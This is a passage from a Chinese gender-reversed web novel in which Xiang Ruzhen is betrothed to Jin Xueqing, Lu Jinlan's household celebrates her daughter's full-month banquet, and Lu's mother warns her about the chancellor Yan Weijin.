陆锦澜和晏无辛从来没见过项如蓁这般忘情,两人仓惶的从假山上下来,脚还没站稳,便瞧见御史令金云凝鬼魅一般站在不远处,目光盯着紧抱住的二人。 金云凝年近古稀,痛失爱女,一夜之间苍老了许多。上次见她头发还是花白的,此时却全都变成了白发。她拄着拐杖站在那里,犹如风中残烛,好似明灭只在须臾之间。 晏无辛闪了下脚,紧张得看向陆锦澜。陆锦澜忙道:“我先去解释几句。” 她快步上前,“金大人,您还记得我们吗?上次在学院食堂,一淮学长帮我们介绍过,我们都是皇家学院的学生,不是什么坏人,尤其是项如蓁,她绝对是正人君子。今日惊闻噩耗,我们一同来吊唁,本来没想别的,但是……对了,听说您病倒了,现下好些了吗?” 金云凝微微点了点头,但目光还是没从那二人身上移开。 晏无辛急道:“事情绝对不是您想的那样,如蓁她不是轻浮的人,她刚才要走,结果那个……呃……” 其实她俩想说‘是您儿子主动的’,但话到嘴边都说不出口,感觉这时候说什么都有推卸责任的嫌疑。 而且按照如蓁的脾气,就算被误会成轻薄良家夫男,她大抵也会一力扛下,不会推脱半句。 二人一时不知该如何表述,却又怕金云凝因此而怪罪如蓁。 踌躇之际,却听金云凝沉声道:“让项如蓁单独来书房见我。” 金云凝说完转身离去,她们只好走过去咳嗽两声,强行打断二人的拥抱。 金雪卿尴尬的背过身去,项如蓁倒是淡定极了,她帮他擦了擦眼泪,温声道:“你先回去,等我消息。” 金雪卿点了点头,快步离开。 陆锦澜深吸一口气,“金大人要你单独去书房见她。” 项如蓁道:“好。” 陆锦澜:“她刚刚看到你们抱在一起。” 项如蓁眼里闪过一丝讶异,随即道:“也好。” 她抓住一个路过的仆人,“金大人书房在哪儿?” 那仆人引着项如蓁前去书房,陆锦澜和晏无辛面面相觑,在石阶上坐了下来,唉声叹气。 对于项如蓁的感情问题,二人一直颇为担忧。 内心认知依次为以下三个阶段:我的正义朋友不近男色;我的朋友是个顶天立地的大女人,但她被一个不明身份的柔弱小公子给迷住了;在丧礼上终于了知道小公子的身份,但他拉着我的朋友花园私会,两人抱一起,被他娘给撞见了…… 没有一个阶段,是让人放心的。 * 项如蓁来到书房,腰板挺直恭恭敬敬的跪在金云凝面前,“项如蓁前来领罪,请大人责罚。” 金云凝靠在椅子上,疲惫得睁开眼,“你何罪之有?我看见了,是卿儿投怀送抱。” “不!”项如蓁忙道:“是我纵容默许,他才会一时忘情。您要罚就罚我吧,我对此事负责。” “负责?你怎么负责?” 项如蓁斩钉截铁道:“我娶他。” 她不卑不亢道:“您如果担心这件事传出去对他名节有损,我可以去跟所有人解释,是我的问题。但如果您还是觉得不妥,就请将他许配给我,我会用心呵护他。” “我知道,这个时候说这些不合适。但我希望您知道,这是我一直以来的念头,并非今日头脑发热临时起意。” “也许您不了解我,或者认为我别有所图居心不良。也许我是不配,但我想为了雪卿尽力争取。如果您对我的为人有任何怀疑,尽可以去调查。至于我的家境,我现在向您坦白,我来自勉州,我家……” 金云凝摆了摆手,“不必说了,你先看看这个。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 金云凝从抽屉里取出一封信,递给项如蓁。 其实,上次在学院食堂,项如蓁便给金云凝留下了很深刻的印象。 半年前,金雪卿私闯学院,回府后,整日心不在焉魂不守舍的。 金云凝一番审问,他便全招了。还说他想嫁给项如蓁,希望母亲能够成全。 当时金云凝并未上心,说到底项如蓁的家世毕竟差了些。 金家虽不算望族,但金云凝位列三尊,乃是两朝元老。 她为人中正,颇具威望,执掌御史台数十年,由她提携扶持的门生不少。朝中想和金家结亲的高门大户多如牛毛,连皇亲贵族也有意攀亲。 金雪卿是金云凝最小的儿子,亦是众多儿子中最得她宠爱的幼子。虽然她很欣赏项如蓁的才干,但要将儿子嫁给贫苦人家,还是太冒险了。 好在,金雪卿年纪还小,不急着谈婚论嫁。是以,金云凝只是暗中留意着,打算观察两三年再说。 上个月,她看到了学年考试的成绩,大为震惊。她深谙其中门道,私以为按照项如蓁的家世背影,无论如何都排不到第二名,便有些百思不得其解。 恰好,她和学院院长凌知序私交甚笃,便亲自上门打听了一下,这才晓得个中缘由。凌知序对三个学生大加赞赏,提到项如蓁更是赞不绝口。 金云凝回到家便给金一淮写了一封信,信里提及她想给金雪卿结一门亲事,问金一淮觉得项如蓁怎么样。 今日项如蓁前来吊唁,金云凝便将回信给项如蓁看。 “这是淮儿最后一封家书,你看看吧。” 想起女儿,金云凝老眼一红,忙掏出手帕拭了拭泪,感慨道:“整整三页纸,两页半都是在夸你。自从半年前,卿儿跟我提起你,我便调查过你。” “老实说,我活到快七十岁,什么人什么事都见过。阅人何其之多,却还从未听说有谁像你一样,刚正果敢,义薄云天。你的朋友和你同进同退,连你的敌人都认可你的人品才能。” “淮儿说你还打过她,你们打了好几架,可她却在信中对你极尽溢美之词。说你品学兼优文武双全,说你为人正直,人人信服。她说如果你和雪卿能结为妻夫,你们便成了连襟,她会很高兴。” 金云凝说到这里,又有些哽咽,“刚刚听你那一番话,我更加确信大家所言非虚。你的确很好,好极了。” 她叹息一声,“细想起来,你和雪卿是因为淮儿而相识,如今又在淮儿的丧礼上重逢。我相信,这是淮儿在天之灵,做出的安排。她为国尽忠,我虽悲痛万分,却也知道逝者已矣,活着的人还有更多的事要去做。” “如蓁,我已年迈,总有一天要撒手西去,金家满门老弱需要一个女人来撑起一片天。如果我将卿儿嫁给你,待我身后,你会像淮儿一样照看金家吗?” 项如蓁动容得看向她,笃定的回答:“我会,雪卿的亲人便是我的亲人,我会尽我所能的看顾庇佑。” * 陆锦澜和晏无辛等了许久,项如蓁终于出来。 二人忙迎上去,“怎么样?金大人没有大发雷霆吧?” 项如蓁摇了摇头,“没有,她说她将雪卿和金家满门的命运托付于我,让我一个月后来提亲,三个月后就赶着把婚礼办了。” 陆锦澜惊了又惊,“这么急?” 项如蓁道:“我也觉得不妥,毕竟一淮学长刚刚过世,我说我想三个月后提亲,年后完婚。可金大人说她身体不好,又上了岁数,不想等太久。这门亲事,一淮学长在世时便想要极力促成,她泉下有知不会在意。” 晏无辛一想也是,“这样也好,早办早放心,免得夜长梦多。你不早些,等到三个月后,只怕来金家提亲的人,多到要把门槛踏平了。” 项如蓁叹了口气,“可我还没通知家里,也不晓得该准备些什么,时间这么紧,只怕要委屈雪卿。” 陆锦澜忙道:“这还不好办?你负责去通知家里,其他的事儿全都交给我和无辛。正好赶上咱们假期,有的是时间,我刚好有大婚的经验,你当甩手掌柜就行了。” 晏无辛道:“正是,我最爱办这种事了。锦澜,咱们回去各自准备一下。后日出殡咱们路祭之后,便着手操办。” 二人大包大揽一拍即合,说完就走,倒让项如蓁留在原地,有些茫然无措。 * 陆锦澜回到府上,立刻找凛丞说了此事。 “如蓁的婚事不能马虎,这个金九公子还是已故的一淮学长的亲弟弟。从哪个方面讲,都不该薄待他。金大人虽然不势力,但是会有很多双眼睛盯着,我不想如蓁被人说闲话,咱们得给她办得风光体面。” 凛丞道:“你和她情同姐妹,应该的。好在咱们家要钱有钱要人有人,这些琐事你不用操心,通通交给我。我就当自家的喜事操办,比照咱们的婚礼准备,总行了吧?” 陆锦澜笑着握住他的手,“那倒不用,毕竟金家刚出了这样的事,太过奢靡张扬反而不好,如蓁也会不自在的。比照高门大户的规格,不要让人觉得寒酸,足够体面就行。” 凛丞“嗯”了一声,“都依你,妻主尽管吩咐,我这个大夫郎一一照做。明天办完满月酒,我又有事做了。” 陆锦澜亲了亲他的脸,温声道:“辛苦了,你若忙不过来,让雨眠和七郎帮你一起操持。” 凛丞想了想,“那还是算了,别让外人以为我这个正夫无能,不能独自打理府中事务。他们两个养胎的养胎,带孩子的带孩子,府里那么多人可以用,他俩还是闲着吧。” 陆锦澜噗嗤一笑,哄道:“那你厉害了,一边养胎一边持家,大小事务都不在话下。我陆锦澜何其有幸,娶了你这么能干的夫郎?” 凛丞正想听这话,颇为得意道:“虽说我也不是事事都好,但我处处为你着想,通情达理之处,算得上一个好夫郎吧?” “那是自然,你不是一般二般的好,是出类拔萃的好。我可没见谁家的夫郎比你好,大都是些没见识的夫道人家,哪比得上你知书达理能说会道的。” 凛丞骄傲得嘴角都快压不住了,两人腻歪了一会,他便道:“你走吧,我今儿要早点睡,明天还得忙着招待宾客呢。” 陆锦澜一听,“呦,撵我?不想我陪你了?” 凛丞白了她一眼,“说得好像我留你,你就会留下来一样。唉,人家为了你提前出了月子,大老远忍着疼,火急火燎的赶回来,他都急成这样了,你还不去关心关心?” 陆锦澜嗅到了一丝醋味儿,干脆佯装糊涂,笑道:“他大概是想让我早点看到孩子吧。” 凛丞哼了一声,“得了吧,是想让你早点看到孩子,还是他想早点看到你啊?都是男人,我知道他怎么想的。” 陆锦澜笑问:“他怎么想的?” “还能怎么想?当然是趁着我和七郎怀孕,不方便伺候,他忙三火四的回来争宠呗。不是我小气,他小一年没见你,你陪陪他我不眼红,但他已经生了一个女儿了。” 凛丞说着抱住陆锦澜的腰,温声恳求道:“你别让他再怀孕了。” 陆锦澜啧了一声,“他刚生完,怀什么孕?就算他现在立刻怀,也生在你后边,你怕什么?” 凛丞不高兴道:“我肚子里的还不知道是女是男,万一是个男孩儿,还要等下一胎。等咱们的女儿生出来,好名字都被抢完了。一个个都比我先生出女儿,我真要气昏过去了。” 陆锦澜摸了摸他的肚子,在脑海中问系统:「凛丞怀的是女孩还是男孩?」 系统老太:「你当我是B超机 啊?对不起,系统提供不了胎儿性别鉴定服务。」 陆锦澜无奈的叹了口气,安慰道:“一定是女儿。” 凛丞:“最好是,只要我生下女儿,他们爱生几个生几个,我绝不计较。” 陆锦澜点头应允,“好,刚才你说怕好名字被抢完了?那我先给咱们的孩子预留一个名字。东南西北,你喜欢哪个方位?” 凛丞想了想,“北,为什么这么问?” 陆锦澜一笑,“明天你就知道了,我走了。” 她起身理了理衣衫,往雨眠的院子里去,结果走到一半见七郎在院子里练剑,便拐进去跟他说会儿话。 陆锦澜:“小心点儿,都五个月了,还敢这么折腾?” 七郎收了剑,笑道:“没事儿,我最近都胖了一圈了。再不动一动,我都要成胖子了。你说真是奇怪,大夫郎比我先怀一个月,不见他长什么肉。雨眠刚刚生完,也不见他胖。为什么就我胖了呢?” 陆锦澜笑着帮他擦了擦脸上的汗,“你没问问他们?” “问了,大夫郎说他天生就吃不胖,雨眠说他没事就睡觉,睡着睡着就瘦了。” 看着七郎满眼单纯的样子,陆锦澜不禁笑着摇头,跟另外两位比,七郎还是太傻了,人家说什么他都信。 陆锦澜捏了捏他的脸,“笨蛋,人家可没像你似的,一天吃六顿。照这么吃下去,我都怕你生出个十斤的孩子来。” 七郎委屈道:“那我不是怕孩子没营养吗?” 两人正说着,雨眠找了过来,“妻主原来在这儿啊,让我好找。” 陆锦澜笑问:“怎么了?” 雨眠道:“孩子一天都没看见你,哭着闹觉,就是不肯睡。” 陆锦澜意味深长的看了他一眼,“是吗?” 第72章 七郎一听忙道:“那妻主快去看看吧,这么热的天,别让孩子一直哭了。” 陆锦澜抿着嘴角微微点头,雨眠一笑,拉着她的手便要走,陆锦澜却忽然勾住七郎的脖颈,在他耳边低声叮嘱:“少吃冰糖葫芦,仔细牙疼。” 雨眠还在看着,七郎耳根一热,小声道:“知道了。” 陆锦澜亲了下他的嘴角,“早点睡。” “走吧,孩子等着呢。”雨眠皱着眉,不断催促,拽着陆锦澜快步离开。 两人回到雨眠的院子,一进屋,屋门啪一声关上,男人回身将她抵在门上,不由分说地吻了上来。 陆锦澜勾了勾嘴角,回应着他急切的、热烈的、带着醋意的亲吻。 反反复复的勾缠,急不可耐的碰触,都是分别的日子里累积得密密麻麻的思念。 不知过了多久,反正直到舌根都有些酸痛,陆锦澜不得不推开他,“好了,嘴都被你亲肿了。” 雨眠的眼底因动情而湿润,却还有一丝酸涩的不甘,气道:“让你亲他。” 陆锦澜一笑,“故意逗你的,瞧给你气的。” 她抬手摸了摸他的唇,鼻尖亲昵地在他脸上蹭了蹭,温声哄道:“我现在亲你。” 温柔的吻落在他的额头,楼雨眠长睫一颤,心在狠狠地悸动。 她的吻像羽毛一样拂过他的脸颊、嘴角,他闭着眼,听见她在唇齿厮磨间,含糊笑问:“不是说孩子一天没见我,哭着不肯睡吗?孩子呢?刚满月的婴儿见一面就会认人了,真是堪称神童。” 楼雨眠抿了抿唇,“孩子看不到你是哭来着,可她哭着哭着就睡了。你再不来,孩子爹看不到你,也要哭了。” 他捧着陆锦澜的脸,望着她的眼睛,语带幽怨:“你不知道,没有你的日子我是怎么熬过来的。到处都流传着你的故事,你的声望一日高过一日,我为你高兴,也为自己担忧。” “你身边又有了新人,他在京城,可以天天见到你。” “我在云州,只能枕着你的书信,在梦里和你相见。你不知道,我有多想你……” “我知道。”陆锦澜在他耳边轻声叹息,“好几次想回云州看你,碰巧有事耽搁了。不信你问他们,我昨儿让他们收拾东西,已经准备动身了。他们怕云州来人和我错开,劝我再等两天,这才没有成行。” 陆锦澜枕在他的肩上,又叹了一声,“你以为只有你想我,我不想你吗?” “真……真的?” 雨眠侧眸看向她,心里那一丝酸楚被喜悦冲散,隐隐生出甜意,“我就知道你不会忘了我的。” 陆锦澜一笑,拉住他的衣襟,将人扯到怀里。 也不知是谁先动的手,衣衫很快凌乱,玉制的腰带落地的声响伴随着急促的喘息。 两个人跌跌撞撞得往床上去,敲门声却不合时宜的响起。 楼雨眠气得想杀人,眉头紧锁,十分不耐烦的问:“什么事?” “回小郎,你刚不说等小少娘醒了抱过来给少主看吗?她现在睡醒了。” 陆锦澜笑着揉了揉他的眉心,“让他抱进来吧,漫漫长夜,你急什么?” 她起身到屏风后换了件寝衣,楼雨眠无奈的让奶爹将孩子抱进来。 陆锦澜洗了手,把孩子接到怀里,越来越觉得好看。 她发誓,她绝不是亲妈滤镜。绝不是拿着丑孩子照片,四处问能否当童模的家长。 她从科学角度分析,她身为主角,天生就是一级建模。她选男人也十分卡颜,孩子的生父都是高颜值,出来的孩子就没有丑的机会。 她的孩子从小就是大眼睛高鼻梁,怎么瞧怎么可爱。 陆锦澜一边逗着孩子,一边暗暗拆开系统给的初为人母大礼包。 里面一共有四件东西,第一件东西便让陆锦澜眼睛一亮。 永久大力丸,为母后服用,身体力量提升百分之五,恒久有效。 我的老天奶啊,这才叫为母则刚啊! 绝不是让人咬牙硬撑,而是真真正正的赋予力量。 陆锦澜喝茶的工夫丢嘴里服下,顿觉神清气爽,整个人都轻盈了几分。 第二件,终身崇拜母亲丹。 好好好!陆锦澜暗自鼓掌,如果养出个逆子,她是接受不了的。 第三件,婴儿强身健体丸。 陆锦澜连忙把这两颗药丸都给女儿喂下去,雨眠问:“那是什么?” “专门给婴儿服用的补药,大补。” “在久安堂拿的?” “不是,我自己研制的。” 雨眠想起来,“你之前给我那两瓶药,堪称神药。痛的时候服一颗,立刻就不痛了。止血的那个,我生产的时候服了些,医师说我的伤口恢复得比别人快多了。” 陆锦澜:“是吗?一会儿给我看看你的伤口。” 楼雨眠眼神闪躲了一下,“伤口有什么好看的?别看了。而且……我还没恢复好,难看死了。” 陆锦澜愣了一下,后知后觉的想到他可能是怕她看到生产纹。 毕竟,人体组织都是一个性质。哪怕不生产,人胖得快了些,身体都会产生肥胖纹。何况是平坦的肚子,被撑那么大,自然会留下痕迹的。 陆锦澜在现代还刷到过妊娠纹爆出来的声音,吓得她头皮发麻。好在,现在不用她生了。 她承认谁生谁伟大,她十分愿意把“伟大”“牺牲”这些个头衔送出去。 她搭着雨眠的手背,安抚道:“谢谢你为我生下这个孩子,你是我们陆家的功臣。伟大的 父亲,感谢你的牺牲。” 雨眠眼眶一热,“哪有你说得这么严重?我也要谢谢你让我生下这个孩子,我是心甘情愿的,只要你不嫌弃我就好了。” “我怎么会嫌弃你呢?” 陆锦澜暗想:我又不是那种嫌弃老婆怀孕生产后身材走样的男人,我是女人啊,我哪有那么贱? 楼雨眠颇为感动,继而恳求道:“你有那么多秘制神药,有没有能祛除疤痕皱纹的?” 陆锦澜支吾道:“我……我一个读书人,又不是专门卖药的?我这一天操心多少家国天下事,哪有空研究那些稀奇古怪的东西。你回头去久安堂找找,有就有,没有算了,我又不在乎这些。” 楼雨眠瞥了眼一旁的奶爹,低声道:“可我在乎,你以前经常夸我的腹肌很有手感,现在摸起来都没那么硬了,还有道很长的疤。” 听到人家妻夫之间讲私房话,奶爹颇有眼色的接着孩子走远几步,楼雨眠干脆让他把孩子抱回去照顾。 陆锦澜趁着这个空又看了下大礼包里的最后一样东西,瞬间坐直了身体。 “雨眠。” “嗯?” “我给你个惊喜。”陆锦澜摊开手掌,递给他一个白瓷小罐。 楼雨眠忙问:“这是什么?” “产后修复膏。”系统学名是夫郎产后修复膏,祛疤抗皱,有助于改善妻主和产后夫郎的妻夫生活。 楼雨眠惊喜道:“你刚刚不是说没有吗?” “啊,刚刚我是寻思着,就这一盒,给了你,就没有了。回头他们都管我要,我可没辙。” 楼雨眠高兴道:“既然只有这么一盒,自然是谁先生完谁用,我这就去用,看看有没有效果。” 他快步到屏风后宽衣解带,对镜涂抹。 陆锦澜想了想还是提醒他,“你还是别全用了,以后不知道有没有,多少给他俩留点儿。” 楼雨眠:“知道了,用没了我去久安堂给他俩找,说不定有更好的呢。” 陆锦澜无奈的笑了笑,在床上躺了一会儿,忍不住催促:“还睡不睡了?” “你先睡吧,我还没抹完呢。” 陆锦澜翻了个白眼,服了。 * 第二日,满月酒宴。 席间,陆锦澜正式公布了孩子的名字,“安东,陆安东。” 晏无辛忙问:“安字乃宝女,我懂。这个东字,何解?” 陆锦澜道:“如今咱们嬅国正在和姜曲两国打仗,姜国不是在咱们的东北方吗?我给女儿取名为安东,希望她的降生能够让战事早日平息。” 项如蓁道:“那应该叫安北,现在的战事主要集中在北境边界。” 凛丞笑而不语,陆锦澜道:“不管啦,这个就叫安东。日出东方嘛,一切都是从东开始的,后面的孩子再叫安北。” 凛丞摸了摸肚子,“如果我这胎是女儿,就叫安北。” 陆锦澜笑了笑,吃完饭,她带着项如蓁和晏无辛在园子里散步消食,陆锦澜道:“我预计这两年就能凑齐东西南北四个方位,你们呢?有什么想法?别只当干娘啊。” 项如蓁道:“我喜欢孩子,等我雪卿完婚之后,会一直生下去的。你呢?无辛,你那一群应子,怎么一个都没怀?” 晏无辛撇了撇嘴,“我没让他们生,虽说他们模样还不错,但也就是模样还不错。他们大字不识几个,整天就知道打牌,让他们做我孩子的爹,我觉得还有些不够资格。” 陆锦澜笑问:“那你要找什么样的?快说说,我们好帮你留意着。” 晏无辛想了想,“我喜欢心思单纯的,最好识文断字,知书达理,总得给孩子做个榜样吧?” 三人正说着,怀星端着一壶解酒茶寻了过来,“少主、项少娘、师傅,这是大夫郎让我送过来的。” 陆锦澜道:“摆亭子里吧,我们等会儿过去喝。” 项如蓁诧异道:“如果我没记错,怎么每回无辛在这儿,怀星都在咱们眼前晃?无辛,你这儿徒儿该不会对你动心了吧?” 晏无辛忙道:“别瞎说,怀星又不是我府里那些轻浮男子,我只是把他当个弟弟,我对他没有歪心思,没想睡他。” 陆锦澜笑了笑,“是吗?我头回见你郑重声明不想睡某个男人,你待他真够特别的。我记得过年的时候,你还给他买了身新衣服,给了压岁钱。怎么,你真心给他当师傅啊?” 晏无辛硬气道:“当师傅怎么了?我和他之间清清白白。” 陆锦澜摇了摇扇子,计上心头,“那我就试试,你们有多清白。” 她坐到亭子里,将刚要离开的怀星叫了回来。 晏无辛低声道:“你别乱来。” 第73章 陆锦澜咳嗽一声,“怀星,我给你安排了一门亲事。” 怀星一愣,若有所思的看向晏无辛,晏无辛却在低头喝茶。 陆锦澜道:“这种事,没有牛不喝水强按头的道理。所以,我想问问你的意思。” 怀星红着脸跪在地上,小声道:“怀星身在在府中为奴,一切都听少主吩咐。” 陆锦澜一笑,“我怕你不情愿。对方条件是不错的,是皇家学院的高材生,才貌一流,只是你嫁过去只能做最低等的应子。” 怀星瞥了晏无辛一眼,低声道:“我不在意名分,应子也……也挺好的。” 陆锦澜对项如蓁道:“他同意了,等你完婚之后,我就派人给你送过去。” “什么?”怀星吓了一跳,“少主,您……您要把我许给项少娘?” 他目光仓惶的在三人之间打转,晏无辛脸色晦暗不明,陆锦澜反问:“项少娘不好吗?” 项如蓁微笑着看向他,“是啊,我不好吗?” 怀星连连摇头,“不不不,项少娘您很好,是怀星自知配不上,无福伺候。何况你刚要大婚,我这样的人过去只会碍了您和夫郎的眼,怀星万万不敢。” 陆锦澜抿了抿唇,“说得也有几分道理。哎,如蓁成了婚,就算加上你,身边也就两个男人,想必你很难自在。不如给你找人品风流些的少娘,身边男人多,热闹,你嫁过去也不会太扎眼。” 怀星默默点头,轻声道:“少主说得是。我只是个仆人,自知没有独得恩宠的本事,我也不求什么名分地位。嫁妻嫁妻,吃饭穿衣。只要有饭吃,有衣穿就行了。” 他说到这里,又看了晏无辛一眼,鼓起勇气道:“我觉得,有的人身边虽然有很多男人,却未必有人懂她。如果我能时时在她身边的话,可以常陪她说说话。仅此而已,不求别的。” 陆锦澜看向晏无辛,“这话我听着都感动了,你觉得呢?” 晏无辛瞪了她一眼,“你给他说亲,问我干什么?” 陆锦澜憋着笑,“你不是他师傅吗?我当然得问问你的意见。不过你要是不在意,我就下决断了。” “怀星啊,你这模样品行在咱们府里都是数一数二的。这样吧,肥水不流外人田,你以后伺候我吧。” “啊?”怀星傻了眼。 项如蓁一口解酒茶差点喷出去,她和晏无辛当然知道这话是假的,可怀星不知道。 他吓得愣在那儿,许久才道:“怀星愿一辈子都在府中为奴,求少主成全。” 晏无辛猛地起身,“好了,你别吓唬他了。” 她将怀星拉起来,“你家少主顺嘴胡说的,你别当真。走,我带你练剑去。” 怀星被晏无辛带走,陆锦澜和项如蓁趴桌狂笑。 陆锦澜笑道:“你看,说什么清清白白?我一试探,两个人都急了。” 项如蓁摇了摇头,“无辛看着早熟,其实在女男之事上,还是个孩子。我看她把见色起意当成了喜欢,看似网罗了一堆男人,其实只是当玩物养着。真遇到了有几分喜欢的,反倒不知该如何下手了。你别逼她,顺其自然吧。” * 炎炎夏日,让假期显得格外漫长。为筹办项如蓁的婚礼,晏无辛来忠勇园的次数更频繁些。 这日陆锦澜正在书房,晏无辛满头大汗的从外面进来,一叠声道:“热死我了,看似都是小事,办起来真够心累的。” 陆锦澜一笑,“我早就说你不用管了,交给凛丞去办,他深得他爹真传,操持起这些琐事得心应手。” 陆锦澜说着递给她一杯热茶,晏无辛忙推拒道:“不要热的,你这冰粥看着挺好,我吃这个。” 她拿过桌上的半碗冰粥,边 吃边道:“我是想着如蓁一辈子就办这么一次大婚,我出份力心里踏实。不过我现在告饶了,锅碗瓢盆鸡毛蒜皮的事儿,实在不是咱们女人的强项,还是都交给小姐夫操心吧。” 她从怀里摸出一沓银票和两块腰牌,“我出钱,多了少了我不管了,不够你补吧。这两块腰牌是我私宅和山庄的,我都打了招呼了,小姐夫要用什么人拿什么东西,着人拿着腰牌去,一说是陆家夫郎要用的,她们就知道怎么回事了。” 陆锦澜看了看那沓银票,笑道:“用不了这么多,该置办的这些天咱们两家都置办得七七八八了。剩下都是现成的,花不了几个钱。” 晏无辛道:“那就给她买个宅子,她成了亲,总不能带着夫郎住学院宿舍吧?这话我也不知道该怎么跟她说,你去讲吧。” 陆锦澜道:“我在院长家隔壁不是有处旧宅吗?我已经让人收拾出来了,给如蓁做新房用。那儿离学院近,离金府也不远,她可以时不时回家看看,金公子回娘家也方便。” 晏无辛忙问:“她肯收吗?” 陆锦澜一笑,“她当然不肯,但我给出的理由她拒绝不了。我说这是我家女儿提前给她儿子下的聘礼,她先帮忙收着。” 晏无辛哈哈大笑,“你就这么确信如蓁会有儿子?” 陆锦澜道:“金大人家里那么多儿子,说明什么?说明金家人容易生男孩儿,我倒担心如蓁的夫郎一时半会儿生不出女儿。” 两人说笑一阵,晏无辛便道:“说起孩子,我好几天没看到我的干女儿了。快让人把小安东抱来,我好陪她玩会儿。” 在这个性转版的世界,女人育儿也是简单模式。陆锦澜平常是什么都不用做的,吃喝拉撒都有雨眠和两三个奶爹照顾。 孩子整天被一堆人围着,陆锦澜想逗的时候就抱过来逗一逗,哭了闹了就丢给她爹。 她知道现代有些男人为了躲避育儿,宁愿谎称加班在单位打游戏也不回家,更有甚者直接申请外派,干脆躲到外地去。 陆锦澜不用,她只要稍一皱眉,雨眠就会立刻把孩子拎走,嘴里还会哄她说:“你们女人哪会带孩子啊?我把孩子抱走,免得耽误你做正事。” 那孩子也不知道是服了药丸的缘故,还是母女天性,总伸着小手儿,对她依依不舍的。 雨眠也只会劝孩子:“东儿,咱们出去玩,别影响你娘读书。” 我的老天奶!这么爽的日子,日复一日的过下去,她都可以接受。 这会儿无辛要看孩子,陆锦澜便让人把东儿抱来。晏无辛快到天黑才走,陆锦澜送她出去,一回身见陆今朝站在树影里,默默地看着她。 “娘,你怎么在这儿?” “娘明日回云州,来跟你说一声。” 陆锦澜不舍道:“怎么这么快就走?我还有好多话没和您说呢。” 陆今朝笑了笑,“我不走,你整日疯兔子似的往外跑。我一要走,你才说有话没说。什么话?此刻闲来无事,娘陪你好好聊聊。” 母女俩在书房坐下,陆锦澜给她倒了杯茶,便说起上个月三人大闹学年考试,差点火烧阅卷楼的事儿。 此事除了相关知情人,陆锦澜并没有和谁说过。 毕竟干系重大,不亲近的人不便讲。她身边亲近的,除了如蓁和无辛,都是男人。这么复杂的事儿,跟他们说了,怕是也不懂。 如果凛丞没怀孕,或许可以和他聊聊,可他有孕后,陆锦澜也不想他担惊受怕,妨碍他养胎。 如今陆今朝问起,她便一股脑儿的说了。 陆今朝听到她们三个大胆行事,真真假假一顿搅合,不由紧张得将心提到嗓子眼儿。 可当她听到事情提前败露,三人抢着背锅,又不禁露出笑意,连声赞道:“好好好,不愧是我的女儿,颇有几分侠肝义胆。开除就开除,破书有什么可读的?娘不会觉得丢脸,娘只会为你高兴。” 陆锦澜笑道:“您听我说完啊,差点开除,没开成是因为无辛及时请来了救兵,她把她娘找来了。巧的是她娘您应该认识,就是当朝丞相晏维津。” 陆今朝一愣,喝了口茶,微微点头,“认识,多年前有过几面之缘。” 陆锦澜忍不住赞道:“您不知道相尊大人有多厉害!院长说我们惹了天大的事儿,谁都保不住我们。可相尊大人一来,就把什么都解决了。危急时刻,力挽狂澜。她简直就是女娲,她能补天。” 陆今朝摩挲着手中的茶盏,没有说话。 陆锦澜又道:“后来,她还把我们叫到府上,亲自下厨做饭给我们吃。娘你知道吗?相尊小时候家里很穷的,我之前一直以为她是凭借家族庇护一路高升,没想到她那么励志。” “娘你知道吗?她当年读的也是皇家学院,每次考试都是状元。她从一个破落户逆袭为当朝第一重臣,厉害吧?” 陆今朝微微一笑,“这些娘都知道,她的事,娘知道的比你多。” “她那天见到我,还和我说,多亏了您当年慷慨解囊,救了她们。不然她们那几个人,不仅要退学,还得去坐牢。她跟我们说了好多她以前的事儿,她还夸您来着,说你是义薄云天古道热肠。” 陆今朝轻笑一声,低垂着眉眼,缓缓开口,“那她有没有说,她爬上高位第一件事,便是找到当年的告密者,寻了个过错,灭了告密者的满门?” 陆锦澜猛地怔住,陆今朝叹了口气,“当年大家都只是青春年少的学生,遇事软弱也算情有可原。那个告密的人是不对,她若想报仇也无可厚非。只寻一个人的过错便是了,灭其满门,你说是不是太过残忍?” 陆锦澜眨了眨眼,不知该说些什么,轻声道:“也许……也许还有别的事。” 陆今朝摇了摇头,“澜儿,你很聪明,可跟晏维津这样的人比起来,你乖巧得就像一只小白兔。而她是一只老狐狸,狡猾狠辣,跟咱们不是一路。” 陆锦澜脑子有点乱,“那她跟我们说的那些事,都是假的?” “不,她说的都是真的。” 陆今朝轻蔑一笑,“怎么会是假的呢?当年谁不知道晏氏一族出了个文曲星,她晏维津从小到大都是名列前茅。一边在街边摆摊一边读书,课本上每一页都带着油渍。” “她是很厉害,很有本事。她最初只是一个不受家族重视的小户女,但她有办法让自己变成晏氏一族鼎力相助的唯一选择。自从她登上丞相之位,成了晏氏的话事人,这十几年间晏氏在她手里发展壮大,不都是她的功劳吗?” “但是澜儿,你要牢牢记住一句话,人是复杂的。” “那些能登上高位的人,没有一个是纯良之辈。连当今皇上,都是踩着尸山血海杀入宫门的。那些人一路往上爬,要得到很多东西,就要丢掉很多东西,包括亲情、友情、爱情,还有人性。” 陆锦澜内心震颤,她能感觉到陆今朝还有很多话没说,却又不打算说。 她不得不追问:“您觉得相尊没有人性吗?” 陆今朝长叹一声,沉默片刻,眼里情绪不断翻涌而又渐渐平息。 “我只能告诉你,当年和她一起烧学监房子的人,都是她当时的好友,就像你和如蓁、无辛一样。可后来,她不仅灭了那个告密者满门,也灭了其中另一位好友的满门。” 陆锦澜惊讶地 瞪大了眼睛,“为了什么?” “利益,天大的利益。” 陆今朝不想再说,她按住陆锦澜的肩膀,苦心道:“澜儿,我知道你和无辛是好朋友。我不会干涉你们,我希望你们永远都这么好。只要有知己,你在这世上,就不会孤独。” “但你一定要答应娘,不要卷入到朝堂是非中。等你毕了业,你便到军中去吧,远离京城的纷扰。” “你有我、有朋友、有夫郎有孩子,咱们陆家有花不完的金银,你手握几十万宋家军,便可一世无忧。” 陆锦澜没有吭声,微微点了点头。 陆今朝要起身离开,陆锦澜忽道:“娘,你认不认识一个叫飞卿的人?” 陆今朝脚步一滞,“飞卿是谁?” “不知道,我梦里梦到的。我梦到我还是个婴儿的时候,被人追杀。一个叫飞卿的人抱着我,在死前把我交给了你。娘,你……你有没有什么事想告诉我?” 陆今朝沉默片刻,笃定的告诉她,“那只是一个梦,不要胡思乱想。” * 宋凛丞近日格外高兴,陆锦澜暑休在家,家里还有了孩子,每天都热热闹闹的。 恰逢盛夏时节,忠勇园的荷花开得正好,他操办着项如蓁的婚事犹嫌不够,还办了个小小的赏荷宴,请金雪卿还有晏无辛府中的一干应子都来做客。 